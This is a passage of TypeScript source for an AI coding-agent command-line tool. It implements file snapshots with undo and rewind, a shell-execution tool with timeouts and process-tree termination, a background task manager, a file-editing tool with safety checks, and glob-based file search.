is a memory optimization\n// only: on any failure the content just stays in memory.\nconst spillDir = path.join(\n os.tmpdir(),\n `star-cli-snapshots-${process.pid}-${randomUUID().slice(0, 8)}`,\n);\n\nfunction isSpillPath(p: string): boolean {\n return p.startsWith(spillDir + path.sep);\n}\n\nasync function spillContent(snapshot: FileSnapshot): Promise<void> {\n if (snapshot.content === null || snapshot.contentFile) return;\n try {\n const file = path.join(spillDir, `${snapshot.id}.snap`);\n await mkdir(spillDir, { recursive: true, mode: 0o700 });\n await writeFile(file, snapshot.content, { encoding: \"utf8\", mode: 0o600 });\n snapshot.contentFile = file;\n snapshot.content = null;\n } catch {\n // keep the content in memory\n }\n}\n\n// Deletes the spill file of a snapshot leaving the stack. Never touches a\n// contentFile that points at a persisted session checkpoint — the onRemove\n// hook owns those.\nasync function discardSpill(snapshot: FileSnapshot): Promise<void> {\n if (snapshot.contentFile && isSpillPath(snapshot.contentFile)) {\n await rm(snapshot.contentFile, { force: true }).catch(() => {});\n }\n}\n\nexport function setSnapshotHooks(next: SnapshotHooks | null): void {\n hooks = next;\n}\n\nexport function nextSnapshotId(): number {\n return ++checkpointSeq;\n}\n\n// Called by the agent loop at the start of every conversation turn; returns\n// the seq assigned to the turn. Tool-made snapshots record this seq and the\n// message index the turn started at.\nexport function beginTurn(messageIndex = -1): number {\n activeTurnMessageIndex = messageIndex;\n return ++activeTurn;\n}\n\nexport function currentTurnSeq(): number {\n return activeTurn;\n}\n\nexport function currentTurnMessageIndex(): number {\n return activeTurnMessageIndex;\n}\n\nfunction ownerOf(snapshot: FileSnapshot): SnapshotOwner {\n return snapshot.owner ?? \"root\";\n}\n\nexport async function captureSnapshot(\n filePath: string,\n toolName: string,\n snapshotContext?: SnapshotContext,\n): Promise<FileSnapshot> {\n let content: string | null = null;\n let existed = false;\n let contentTooLarge = false;\n const st = await stat(filePath).catch(() => null);\n if (st?.isFile()) {\n existed = true;\n if (st.size > MAX_SNAPSHOT_CONTENT_BYTES) {\n contentTooLarge = true;\n } else {\n try {\n content = await readFile(filePath, \"utf8\");\n } catch {\n // unreadable files keep the old behavior: recorded as non-existent\n existed = false;\n }\n }\n }\n return {\n id: nextSnapshotId(),\n path: filePath,\n existed,\n content,\n contentTooLarge: contentTooLarge || undefined,\n toolName,\n timestamp: Date.now(),\n turn: snapshotContext?.turn ?? activeTurn,\n messageIndex: snapshotContext?.messageIndex ?? activeTurnMessageIndex,\n owner: snapshotContext?.owner ?? \"root\",\n };\n}\n\nexport async function pushSnapshot(snapshot: FileSnapshot): Promise<void> {\n stack.push(snapshot);\n try {\n // Hooks run before the spill: checkpoint persistence reads\n // snapshot.content, which the spill then clears.\n await hooks?.onPush?.(snapshot);\n } catch (err) {\n // The file write already succeeded; failing the tool over checkpoint\n // persistence would make the model retry the same write.\n if (process.env.STAR_DEBUG) {\n console.error(\"[star] failed to persist snapshot checkpoint:\", err);\n }\n }\n await spillContent(snapshot);\n if (stack.length > MAX_SNAPSHOTS) {\n const evicted = stack.splice(0, stack.length - MAX_SNAPSHOTS);\n for (const old of evicted) await discardSpill(old);\n await removeFromStore(evicted.map((s) => s.id));\n }\n}\n\nasync function removeFromStore(ids: number[]): Promise<void> {\n if (ids.length > 0) await hooks?.onRemove?.(ids);\n}\n\nexport function snapshotCount(): number {\n return stack.length;\n}\n\nexport function listSnapshots(): FileSnapshot[] {\n return [...stack];\n}\n\nexport function clearSnapshots(): void {\n for (const snapshot of stack) void discardSpill(snapshot);\n stack.length = 0;\n}\n\n// Replaces the in-memory stack with checkpoints loaded from a resumed\n// session's persisted records. The id counter is advanced past the loaded\n// records so new checkpoints never collide with persisted ones.\nexport function hydrateSnapshots(snapshots: FileSnapshot[]): void {\n for (const snapshot of stack) void discardSpill(snapshot);\n stack.length = 0;\n stack.push(...snapshots.slice(-MAX_SNAPSHOTS));\n for (const snapshot of stack) {\n if (snapshot.id > checkpointSeq) checkpointSeq = snapshot.id;\n }\n}\n\nasync function resolveContent(snapshot: FileSnapshot): Promise<string | null> {\n if (snapshot.content !== null) return snapshot.content;\n if (!snapshot.contentFile) return null;\n try {\n return await readFile(snapshot.contentFile, \"utf8\");\n } catch {\n return null;\n }\n}\n\nasync function revert(snapshot: FileSnapshot): Promise<string> {\n if (snapshot.existed) {\n if (snapshot.contentTooLarge) {\n return `Skipped ${snapshot.path}: content too large, not restored.`;\n }\n const content = await resolveContent(snapshot);\n if (content === null) {\n return `Skipped ${snapshot.path}: the snapshot content is no longer available.`;\n }\n await mkdir(path.dirname(snapshot.path), { recursive: true });\n await writeFile(snapshot.path, content, \"utf8\");\n return `Restored ${snapshot.path} to its state before ${snapshot.toolName}.`;\n }\n await rm(snapshot.path, { force: true });\n return `Deleted ${snapshot.path} (it did not exist before ${snapshot.toolName}).`;\n}\n\nexport async function undoLastSnapshot(): Promise<string> {\n const snapshot = stack[stack.length - 1];\n if (!snapshot) {\n return \"Nothing to undo (/undo only reverts file changes made by write_file/edit_file, and none are recorded yet).\";\n }\n try {\n const message = await revert(snapshot);\n stack.pop();\n await discardSpill(snapshot);\n await removeFromStore([snapshot.id]);\n return message;\n } catch (err) {\n return `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`;\n }\n}\n\n// Read-only view of the snapshots a turn-scoped /undo would revert, in the\n// same newest-first order undoTurnSnapshots applies them. Subagent snapshots\n// are excluded unless includeSubagent is set.\nexport function listTurnSnapshots(turn: number, includeSubagent = false): FileSnapshot[] {\n return stack\n .filter(\n (snapshot) => snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\"),\n )\n .reverse();\n}\n\n// Old content of a snapshot, read lazily from the spill file or the\n// persisted session checkpoint content file. Exported for the read-only\n// /undo preview; revert() uses the same path.\nexport function resolveSnapshotContent(snapshot: FileSnapshot): Promise<string | null> {\n return resolveContent(snapshot);\n}\n\n// Reverts every snapshot created by the given turn, newest first, and leaves\n// snapshots from other turns untouched. A snapshot that fails to revert stays\n// on the stack (and keeps its persisted checkpoint); the returned messages\n// report each file's outcome.\nexport async function undoTurnSnapshots(turn: number, includeSubagent = false): Promise<string[]> {\n const matches: FileSnapshot[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n matches.push(snapshot);\n }\n }\n const messages: string[] = [];\n const revertedIds: number[] = [];\n for (const snapshot of matches) {\n try {\n messages.push(await revert(snapshot));\n const idx = stack.indexOf(snapshot);\n if (idx >= 0) stack.splice(idx, 1);\n revertedIds.push(snapshot.id);\n await discardSpill(snapshot);\n } catch (err) {\n messages.push(\n `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`,\n );\n }\n }\n await removeFromStore(revertedIds);\n return messages;\n}\n\n// Removes a turn's snapshots from the stack and the persisted store WITHOUT\n// reverting them: the git-tree /undo path already restored the whole working\n// tree, so replaying the per-file reverts would double-restore. Returns the\n// number of dropped snapshots.\nexport async function dropTurnSnapshots(turn: number, includeSubagent = false): Promise<number> {\n const dropped: number[] = [];\n const droppedSnapshots: FileSnapshot[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.turn === turn && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n dropped.push(snapshot.id);\n droppedSnapshots.push(snapshot);\n stack.splice(i, 1);\n }\n }\n for (const snapshot of droppedSnapshots) await discardSpill(snapshot);\n await removeFromStore(dropped);\n return dropped.length;\n}\n\nexport interface RewindResult {\n reverted: string[];\n // Smallest conversation message index among the reverted snapshots; the\n // caller retracts the conversation back to this point. null when none of\n // the reverted snapshots carries turn context.\n messageIndex: number | null;\n}\n\n// Reverts every snapshot from checkpoint `id` onwards, newest first, restoring\n// the file state as it was just before that checkpoint. Successfully reverted\n// snapshots are dropped from the stack (and from the persisted store via\n// hooks); a snapshot that fails to revert stays on the stack, keeps its\n// persisted checkpoint, and gets a failure line in the result.\nexport async function rewindToSnapshot(\n id: number,\n includeSubagent = false,\n): Promise<RewindResult | null> {\n if (!stack.some((snapshot) => snapshot.id === id)) return null;\n const matches: FileSnapshot[] = [];\n for (let i = stack.length - 1; i >= 0; i--) {\n const snapshot = stack[i];\n if (snapshot && snapshot.id >= id && (includeSubagent || ownerOf(snapshot) === \"root\")) {\n matches.push(snapshot);\n }\n }\n const reverted: string[] = [];\n const revertedIds: number[] = [];\n let messageIndex: number | null = null;\n for (const snapshot of matches) {\n try {\n reverted.push(await revert(snapshot));\n const idx = stack.indexOf(snapshot);\n if (idx >= 0) stack.splice(idx, 1);\n revertedIds.push(snapshot.id);\n await discardSpill(snapshot);\n if (snapshot.messageIndex >= 0) {\n messageIndex =\n messageIndex === null\n ? snapshot.messageIndex\n : Math.min(messageIndex, snapshot.messageIndex);\n }\n } catch (err) {\n reverted.push(\n `Failed to revert ${snapshot.path}: ${(err as Error).message} (checkpoint kept)`,\n );\n }\n }\n await removeFromStore(revertedIds);\n return { reverted, messageIndex };\n}\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport { existsSync } from \"node:fs\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport { defaultTaskManager } from \"../tasks/manager\";\nimport type { Tool, ToolResult } from \"./types\";\n\nexport const MAX_OUTPUT = 30000;\nconst HALF_OUTPUT = MAX_OUTPUT / 2;\nconst DEFAULT_TIMEOUT = 120;\nconst MAX_TIMEOUT = 600;\n\nexport interface ShellSpec {\n shell: string;\n wrap: (command: string) => string[];\n label: string;\n}\n\nfunction findOnPath(exe: string, exclude?: (dir: string) => boolean): string | null {\n for (const dir of (process.env.PATH ?? \"\").split(path.delimiter)) {\n if (!dir || exclude?.(dir)) {\n continue;\n }\n const full = path.join(dir, exe);\n if (existsSync(full)) {\n return full;\n }\n }\n return null;\n}\n\nfunction resolveShellUncached(): ShellSpec {\n if (process.platform !== \"win32\") {\n return { shell: \"sh\", wrap: (c) => [\"-c\", c], label: \"sh\" };\n }\n const isWslStub = (dir: string) => /\\\\(system32|windowsapps)\\\\?$/i.test(dir.trim());\n const fromPath = findOnPath(\"bash.exe\", isWslStub);\n if (fromPath) {\n return { shell: fromPath, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n const gitExe = findOnPath(\"git.exe\");\n if (gitExe) {\n const sibling = path.join(path.dirname(path.dirname(gitExe)), \"bin\", \"bash.exe\");\n if (existsSync(sibling)) {\n return { shell: sibling, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n }\n // Portable fallback: the standard Git for Windows install locations, built\n // from the Program Files environment variables instead of hardcoded drives.\n const seen = new Set<string>();\n for (const root of [\n process.env.ProgramFiles,\n process.env[\"ProgramFiles(x86)\"],\n process.env.ProgramW6432,\n ]) {\n if (!root) continue;\n const candidate = path.join(root, \"Git\", \"bin\", \"bash.exe\");\n const key = candidate.toLowerCase();\n if (seen.has(key)) continue;\n seen.add(key);\n if (existsSync(candidate)) {\n return { shell: candidate, wrap: (c) => [\"-c\", c], label: \"bash\" };\n }\n }\n const comspec = process.env.ComSpec ?? \"cmd.exe\";\n return { shell: comspec, wrap: (c) => [\"/d\", \"/s\", \"/c\", c], label: \"cmd\" };\n}\n\n// The PATH scan runs once per process; the shell cannot change mid-session.\nlet cachedSpec: ShellSpec | null = null;\n\nexport function resolveShell(): ShellSpec {\n if (!cachedSpec) {\n cachedSpec = resolveShellUncached();\n }\n return cachedSpec;\n}\n\nconst schema = z.object({\n command: z.string().describe(\"Shell command to execute\"),\n timeout: z\n .number()\n .positive()\n .max(MAX_TIMEOUT)\n .optional()\n .describe(\"Timeout in seconds (default 120, max 600)\"),\n description: z.string().optional().describe(\"Short description of what the command does\"),\n run_in_background: z\n .boolean()\n .optional()\n .describe(\n \"Run the command in the background and return a task id immediately (default false). Use task_output/task_kill to inspect or stop it.\",\n ),\n});\n\nexport function killTree(child: ChildProcess): void {\n if (process.platform === \"win32\") {\n if (child.pid) {\n spawn(\"taskkill\", [\"/pid\", String(child.pid), \"/t\", \"/f\"], {\n windowsHide: true,\n stdio: \"ignore\",\n }).unref();\n }\n return;\n }\n // POSIX children spawn detached, so the pid leads a process group and a\n // negative-pid kill reaches shell grandchildren too.\n if (child.pid) {\n try {\n process.kill(-child.pid, \"SIGKILL\");\n return;\n } catch {\n // group already gone (or not detached): fall back to the direct kill\n }\n }\n child.kill(\"SIGKILL\");\n}\n\n// Bounds memory while a command streams: once the output passes MAX_OUTPUT\n// the first half is kept verbatim, the second half rolls, and the dropped\n// middle is counted so toString() matches truncating the unbounded string.\nclass BoundedOutput {\n private head = \"\";\n private tail = \"\";\n private dropped = 0;\n private overflow = false;\n\n append(text: string): void {\n if (!this.overflow) {\n this.head += text;\n if (this.head.length <= MAX_OUTPUT) {\n return;\n }\n this.overflow = true;\n this.tail = this.head.slice(HALF_OUTPUT);\n this.head = this.head.slice(0, HALF_OUTPUT);\n if (this.tail.length > HALF_OUTPUT) {\n this.dropped = this.tail.length - HALF_OUTPUT;\n this.tail = this.tail.slice(-HALF_OUTPUT);\n }\n return;\n }\n this.tail += text;\n if (this.tail.length > HALF_OUTPUT) {\n this.dropped += this.tail.length - HALF_OUTPUT;\n this.tail = this.tail.slice(-HALF_OUTPUT);\n }\n }\n\n toString(): string {\n if (!this.overflow) {\n return this.head;\n }\n return `${this.head}\\n... [${this.dropped} characters truncated] ...\\n${this.tail}`;\n }\n}\n\nexport const bashTool: Tool<typeof schema> = {\n name: \"bash\",\n description:\n \"Execute a shell command (Git Bash on Windows when available, otherwise cmd; sh elsewhere). Stdout and stderr are merged. Output is truncated to 30000 characters. Set run_in_background for long-running commands; it returns a task id for task_list/task_output/task_kill.\",\n permission: \"exec\",\n parameters: schema,\n execute(args, ctx) {\n if (args.run_in_background) {\n const task = defaultTaskManager.start({\n command: args.command,\n description: args.description,\n cwd: ctx.cwd,\n timeoutSeconds: args.timeout,\n });\n return Promise.resolve({\n content: `Background task started: ${task.id}\\ncommand: ${args.command}\\ndescription: ${args.description ?? \"(none)\"}`,\n });\n }\n const timeoutSeconds = Math.min(args.timeout ?? DEFAULT_TIMEOUT, MAX_TIMEOUT);\n const spec = resolveShell();\n return new Promise<ToolResult>((resolve) => {\n const child = spawn(spec.shell, spec.wrap(args.command), {\n cwd: ctx.cwd,\n windowsHide: true,\n detached: process.platform !== \"win32\",\n // No stdin: a command that reads it (cat, read, input()) must get\n // EOF immediately instead of hanging until the timeout.\n stdio: [\"ignore\", \"pipe\", \"pipe\"],\n });\n const output = new BoundedOutput();\n let settled = false;\n const finish = (result: ToolResult) => {\n if (settled) {\n return;\n }\n settled = true;\n clearTimeout(timer);\n ctx.abortSignal?.removeEventListener(\"abort\", onAbort);\n resolve(result);\n };\n const onAbort = () => {\n killTree(child);\n finish({ content: `${output}\\nCommand aborted`, isError: true });\n };\n const timer = setTimeout(() => {\n killTree(child);\n finish({\n content: `${output}\\nCommand timed out after ${timeoutSeconds}s`,\n isError: true,\n });\n }, timeoutSeconds * 1000);\n timer.unref();\n child.stdout.on(\"data\", (d: Buffer) => output.append(d.toString(\"utf8\")));\n child.stderr.on(\"data\", (d: Buffer) => output.append(d.toString(\"utf8\")));\n child.on(\"error\", (err) => {\n finish({ content: `Failed to start shell '${spec.label}': ${err.message}`, isError: true });\n });\n ctx.abortSignal?.addEventListener(\"abort\", onAbort);\n child.on(\"close\", (code) => {\n const trimmed = output.toString().replace(/\\s+$/, \"\");\n if (code === 0) {\n finish({ content: trimmed || \"(no output)\" });\n return;\n }\n finish({\n content: `${trimmed}${trimmed ? \"\\n\" : \"\"}Exit code: ${code ?? \"unknown\"}`,\n isError: true,\n });\n });\n });\n },\n};\n","import { type ChildProcess, spawn } from \"node:child_process\";\nimport { EventEmitter } from \"node:events\";\nimport { killTree, resolveShell } from \"../tools/bash\";\n\nexport type TaskStatus = \"running\" | \"completed\" | \"failed\" | \"timed_out\" | \"stopped\";\n\nexport interface TaskSnapshot {\n id: string;\n command: string;\n description?: string;\n status: TaskStatus;\n startedAt: number;\n endedAt?: number;\n exitCode?: number | null;\n output: string;\n}\n\nexport const MAX_TASK_OUTPUT = 100_000;\nexport const DEFAULT_TASK_TIMEOUT = 3600;\n// Finished records are pruned to this many most-recent entries so a long\n// session's task history cannot grow without bound; running tasks are never\n// evicted.\nexport const MAX_FINISHED_RECORDS = 50;\n\nconst TRUNCATED_PREFIX = \"[... earlier output truncated ...]\\n\";\n\ninterface TaskRecord {\n id: string;\n command: string;\n description?: string;\n status: TaskStatus;\n startedAt: number;\n endedAt?: number;\n exitCode?: number | null;\n output: string;\n truncated: boolean;\n child: ChildProcess;\n timer?: NodeJS.Timeout;\n}\n\nexport interface StartTaskOptions {\n command: string;\n description?: string;\n cwd: string;\n timeoutSeconds?: number;\n}\n\nexport class TaskManager extends EventEmitter {\n private records = new Map<string, TaskRecord>();\n private seq = 0;\n\n start(opts: StartTaskOptions): TaskSnapshot {\n const id = `task-${++this.seq}`;\n const spec = resolveShell();\n const child = spawn(spec.shell, spec.wrap(opts.command), {\n cwd: opts.cwd,\n windowsHide: true,\n // No stdin: background commands that read it would hang until the\n // (much longer) task timeout; give them EOF immediately.\n stdio: [\"ignore\", \"pipe\", \"pipe\"],\n // POSIX: the child leads its own process group so killTree can SIGKILL\n // the whole tree with a negative pid (Windows uses taskkill /t).\n detached: process.platform !== \"win32\",\n });\n const rec: TaskRecord = {\n id,\n command: opts.command,\n description: opts.description,\n status: \"running\",\n startedAt: Date.now(),\n output: \"\",\n truncated: false,\n child,\n };\n this.records.set(id, rec);\n\n const append = (d: Buffer) => {\n rec.output += d.toString(\"utf8\");\n if (rec.output.length > MAX_TASK_OUTPUT) {\n rec.output = rec.output.slice(-MAX_TASK_OUTPUT);\n rec.truncated = true;\n }\n };\n child.stdout.on(\"data\", append);\n child.stderr.on(\"data\", append);\n child.on(\"error\", (err) => {\n append(Buffer.from(`Failed to start shell '${spec.label}': ${err.message}\\n`));\n if (rec.status === \"running\") {\n this.finish(rec, \"failed\", null);\n }\n });\n child.on(\"close\", (code) => {\n if (rec.status !== \"running\") return;\n this.finish(rec, code === 0 ? \"completed\" : \"failed\", code);\n });\n\n const timeoutSeconds = opts.timeoutSeconds ?? DEFAULT_TASK_TIMEOUT;\n rec.timer = setTimeout(() => this.terminate(rec, \"timed_out\"), timeoutSeconds * 1000);\n rec.timer.unref();\n\n this.emitUpdate(rec);\n return this.snapshot(rec);\n }\n\n get(id: string): TaskSnapshot | undefined {\n const rec = this.records.get(id);\n return rec ? this.snapshot(rec) : undefined;\n }\n\n list(): TaskSnapshot[] {\n return [...this.records.values()].map((rec) => this.snapshot(rec));\n }\n\n runningCount(): number {\n let count = 0;\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") count += 1;\n }\n return count;\n }\n\n kill(id: string): TaskSnapshot | undefined {\n const rec = this.records.get(id);\n if (!rec || rec.status !== \"running\") return undefined;\n this.terminate(rec, \"stopped\");\n return this.snapshot(rec);\n }\n\n cleanup(): TaskSnapshot[] {\n const killed: TaskSnapshot[] = [];\n for (const rec of this.records.values()) {\n if (rec.status === \"running\") {\n this.terminate(rec, \"stopped\");\n killed.push(this.snapshot(rec));\n }\n }\n return killed;\n }\n\n private terminate(rec: TaskRecord, status: TaskStatus): void {\n killTree(rec.child);\n this.finish(rec, status, null);\n }\n\n private finish(rec: TaskRecord, status: TaskStatus, exitCode: number | null): void {\n if (rec.timer) clearTimeout(rec.timer);\n rec.status = status;\n rec.exitCode = exitCode;\n rec.endedAt = Date.now();\n this.pruneFinished();\n this.emitUpdate(rec);\n }\n\n private pruneFinished(): void {\n const finished = [...this.records.values()].filter((rec) => rec.status !== \"running\");\n if (finished.length <= MAX_FINISHED_RECORDS) return;\n finished.sort((a, b) => (a.endedAt ?? 0) - (b.endedAt ?? 0));\n for (const rec of finished.slice(0, finished.length - MAX_FINISHED_RECORDS)) {\n this.records.delete(rec.id);\n }\n }\n\n private emitUpdate(rec: TaskRecord): void {\n this.emit(\"update\", this.snapshot(rec));\n }\n\n private snapshot(rec: TaskRecord): TaskSnapshot {\n return {\n id: rec.id,\n command: rec.command,\n description: rec.description,\n status: rec.status,\n startedAt: rec.startedAt,\n endedAt: rec.endedAt,\n exitCode: rec.exitCode,\n output: rec.truncated ? TRUNCATED_PREFIX + rec.output : rec.output,\n };\n }\n}\n\nexport const defaultTaskManager = new TaskManager();\n","import { readFile, stat, writeFile } from \"node:fs/promises\";\nimport path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport {\n MAX_SNAPSHOT_CONTENT_BYTES,\n currentTurnMessageIndex,\n currentTurnSeq,\n nextSnapshotId,\n pushSnapshot,\n} from \"./snapshots\";\n\n// Same heuristic as read_file: a NUL in the first 8KB marks a binary file.\n// edit_file writes back as UTF-8, so an ASCII old_string that happens to\n// match inside a binary file would corrupt it irreversibly (U+FFFD\n// replacement on undecodable bytes), and snapshots cannot restore it.\nconst BINARY_PROBE_BYTES = 8192;\n\nconst schema = z.object({\n path: z.string().describe(\"File path, absolute or relative to the working directory\"),\n old_string: z.string().min(1).describe(\"Exact text to replace\"),\n new_string: z.string().describe(\"Replacement text\"),\n replace_all: z\n .boolean()\n .optional()\n .describe(\"Replace every occurrence instead of requiring a unique match\"),\n});\n\nexport const editFileTool: Tool<typeof schema> = {\n name: \"edit_file\",\n description:\n \"Replace an exact string in a file. Fails if old_string is not found or matches multiple locations unless replace_all is set. Refuses binary files and files over 5MB.\",\n permission: \"write\",\n parameters: schema,\n async execute(args, ctx) {\n const filePath = path.resolve(ctx.cwd, args.path);\n let content: string;\n let readMtimeMs: number;\n try {\n const st = await stat(filePath);\n // Past the snapshot content cap /undo keeps only metadata, so an edit\n // would be unrecoverable — refuse instead of writing blind.\n if (st.size > MAX_SNAPSHOT_CONTENT_BYTES) {\n return {\n content: `Refused to edit ${args.path}: file is ${st.size} bytes, over the 5MB limit (edits past it could not be restored by /undo)`,\n isError: true,\n };\n }\n readMtimeMs = st.mtimeMs;\n const buf = await readFile(filePath);\n if (buf.subarray(0, BINARY_PROBE_BYTES).includes(0)) {\n return { content: `Refused to edit binary file: ${args.path}`, isError: true };\n }\n content = buf.toString(\"utf8\");\n } catch (err) {\n return { content: `Failed to read ${args.path}: ${(err as Error).message}`, isError: true };\n }\n let count = 0;\n let idx = content.indexOf(args.old_string);\n while (idx !== -1) {\n count += 1;\n idx = content.indexOf(args.old_string, idx + args.old_string.length);\n }\n if (count === 0) {\n return { content: `old_string not found in ${args.path}`, isError: true };\n }\n if (count > 1 && !args.replace_all) {\n return {\n content: `old_string matches ${count} locations in ${args.path}; provide more surrounding context or set replace_all`,\n isError: true,\n };\n }\n const updated = args.replace_all\n ? content.split(args.old_string).join(args.new_string)\n : content.replace(args.old_string, () => args.new_string);\n try {\n // Guard against a silent overwrite when the file changed on disk\n // between our read and our write.\n const now = await stat(filePath).catch(() => null);\n if (!now || now.mtimeMs !== readMtimeMs) {\n return {\n content: `Failed to edit ${args.path}: file changed since it was read; re-read and retry`,\n isError: true,\n };\n }\n await writeFile(filePath, updated, \"utf8\");\n } catch (err) {\n return { content: `Failed to write ${args.path}: ${(err as Error).message}`, isError: true };\n }\n const contentTooLarge = Buffer.byteLength(content, \"utf8\") > MAX_SNAPSHOT_CONTENT_BYTES;\n await pushSnapshot({\n id: nextSnapshotId(),\n path: filePath,\n existed: true,\n content: contentTooLarge ? null : content,\n contentTooLarge: contentTooLarge || undefined,\n toolName: \"edit_file\",\n timestamp: Date.now(),\n turn: ctx.snapshotContext?.turn ?? currentTurnSeq(),\n messageIndex: ctx.snapshotContext?.messageIndex ?? currentTurnMessageIndex(),\n owner: ctx.snapshotContext?.owner ?? \"root\",\n });\n return { content: `Edited ${args.path}: ${count} replacement${count > 1 ? \"s\" : \"\"}` };\n },\n};\n","import path from \"node:path\";\nimport { z } from \"zod\";\nimport type { Tool } from \"../types\";\nimport { createIgnorePredicate, matchesGlob, walkFiles } from \"./util\";\n\nconst MAX_RESULTS = 100;\n\nconst GLOB_MAGIC = /[*?[{]/;\n\n// Leading directory segments without glob magic (everything before the final\n// segment, which may name a file) let src/**/*.ts walk <root>/src directly\n// instead of descending the whole tree. Matched paths are re-prefixed before\n// matching and display so output stays relative to the requested root.\nfunction literalDirPrefix(pattern: string): string[] {\n const segments = pattern.replace(/\\\\/g, \"/\").split(\"/\").slice(0, -1);\n const out: string[] = [];\n for (const segment of segments) {\n if (segment === \"\" || GLOB_MAGIC.test(segment)) {\n break;\n }\n out.push(segment);\n }\n return out;\n}\n\nconst schema = z.object({\n pattern: z\n .string()\n .describe(\n \"Glob pattern, e.g. 'src/**/*.ts'. Supports **, *, ?, {a,b} braces and [abc] character classes. A bare pattern like '*.ts' matches basenames recursively.\",\n ),\n path: z.string().optional().describe(\"Directory to search, defaults to the working directory\"),\n});\n\n// A \"..\" segment would walk above the requested root (the literal-prefix\n// optimization resolves it against the search root), escaping the cwd\n// boundary the permission gate enforces on the path argument.\nfunction hasParentSegment(pattern: string): boolean {\n return pattern\n .replace(/\\\\/g, \"/\")\n .split(\"/\")\n .some((segment) => segment === \"..\");\n}\n\nexport const globTool: Tool<typeof schema> = {\n name: \"glob\",\n description:\n \"Find files by glob pattern. Skips node_modules, .git and dist. Returns paths sorted by modification time, newest first, up to 100 results.\",\n permission: \"read\",\n parameters: schema,\n async execute(args, ctx) {\n if (hasParentSegment(args.pattern)) {\n return {\n content: `Refused glob pattern with '..' segment: ${args.pattern}`,\n isError: true,\n };\n }\n const root = path.resolve(ctx.cwd, args.path ?? \".\");\n const prefixSegments = literalDirPrefix(args.pattern);\n const walkRoot = prefixSegments.length > 0 ? path.join(root, ...prefixSegments) : root;\n const prefix = prefixSegments.length > 0 ? `${prefixSegments.join(\"/\")}/` : \"\";\n const files = await walkFiles(walkRoot, undefined, { ignore: createIgnorePredicate(ctx.cwd) });\n const matched = files\n .filter((f) => matchesGlob(args.pattern, `${prefix}${f.rel}`))\n .sort((a, b) => b.mtimeMs - a.mtimeMs)\n .slice(0, MAX_RESULTS);\n if (matched.length === 0) {\n return { content: `No files matched pattern: ${args.pattern}` };\n }\n return { content: matched.map((f) => `${prefix}${f.rel}`).join(\"\\n\") };\n },\n};\n","import { readFileSync, statSync } from \"node:fs\";\nimport { readdir, stat } from \"node:fs/promises\";\nimport path from \"node:path\";\n\nexport const SKIP_DIRS = new Set([\"node_modules\", \".git\", \"dist\"]);\n\nexport interface WalkedFile {\n abs: string;\n rel: string;\n mtimeMs: number;\n}\n\nexport type IgnorePredicate = (absPath: string, isDir: boolean) => boolean;\n\nexport interface WalkOptions {\n ignore?: IgnorePredicate;\n // Defaults to true. Pass false when the caller does not sort by mtime (e.g.\n // grep) to skip one stat syscall per file; mtimeMs is then reported as 0.\n withMtime?: boolean;\n}\n\nexport async function walkFiles(\n root: string,\n skipDirs: Set<string> = SKIP_DIRS,\n options: WalkOptions = {},\n): Promise<WalkedFile[]> {\n const out: WalkedFile[] = [];\n async function walk(dir: string, relBase: string): Promise<void> {\n const entries = await readdir(dir, { withFileTypes: true }).catch(() => null);\n if (!entries) {\n return;\n }\n for (const entry of entries) {\n const abs = path.join(dir, entry.name);\n const rel = relBase ? `${relBase}/${entry.name}` : entry.name;\n if (entry.isDirectory()) {\n if (skipDirs.has(entry.name) || options.ignore?.(abs, true)) {\n continue;\n }\n await walk(abs, rel);\n } else if (entry.isFile()) {\n if (options.ignore?.(abs, false)) {\n continue;\n }\n if (options.withMtime === false) {\n out.push({ abs, rel, mtimeMs: 0 });\n continue;\n }\n try {\n const st = await stat(abs);\n out.push({ abs, rel, mtimeMs: st.mtimeMs });\n } catch {\n // ignore unreadable entries\n }\n }\n }\n }\n await walk(root, \"\");\n return out;\n}\n\nconst REGEX_SPECIALS = /[.+^${}()|[\\]\\\\]/g;\n\nfunction escapeRe(c: string): string {\n return c.replace(REGEX_SPECIALS, \"\\\\$&\");\n}\n\n// Supports *, **, ?, {a,b} braces (nested one level) and [abc] / [!abc]\n// character classes. Consecutive `**/` segments are collapsed into a single\n// (?:[^/]+/)* so adjacent repetitions cannot produce exponential backtracking.\nexport function globToRegExp(pattern: string): RegExp {\n let i = 0;\n\n function parseClass(): string {\n // i points at \"[\"\n let j = i + 1;\n let negate = false;\n if (pattern.charAt(j) === \"!\") {\n negate = true;\n j += 1;\n }\n let body = \"\";\n // a \"]\" right after \"[\" or \"[!\" is a literal member of the class\n if (pattern.charAt(j) === \"]\") {\n body += \"\\\\]\";\n j += 1;\n }\n while (j < pattern.length && pattern.charAt(j) !== \"]\") {\n const ch = pattern.charAt(j);\n body += ch === \"\\\\\" ? \"\\\\\\\\\" : ch;\n j += 1;\n }\n if (j < pattern.length) {\n i = j + 1;\n // a leading ^ would negate the regex class; escape it\n if (body.startsWith(\"^\")) body = `\\\\${body}`;\n return `[${negate ? \"^\" : \"\"}${body}]`;\n }\n // unterminated \"[\": match it literally\n i += 1;\n return \"\\\\[\";\n }\n\n function parseSegment(depth: number): { re: string; end: string } {\n let re = \"\";\n while (i < pattern.length) {\n const c = pattern.charAt(i);\n if (depth > 0 && (c === \",\" || c === \"}\")) {\n return { re, end: c };\n }\n if (c === \"*\") {\n if (pattern.charAt(i + 1) === \"*\") {\n i += 2;\n if (pattern.charAt(i) === \"/\") {\n i += 1;\n re += \"(?:[^/]+/)*\";\n while (pattern.startsWith(\"**/\", i)) {\n i += 3;\n }\n } else {\n re += \".*\";\n }\n } else {\n re += \"[^/]*\";\n i += 1;\n }\n continue;\n }\n if (c === \"?\") {\n re += \"[^/]\";\n i += 1;\n continue;\n }\n if (c === \"[\") {\n re += parseClass();\n continue;\n }\n if (c === \"{\" && depth < 2) {\n const close = 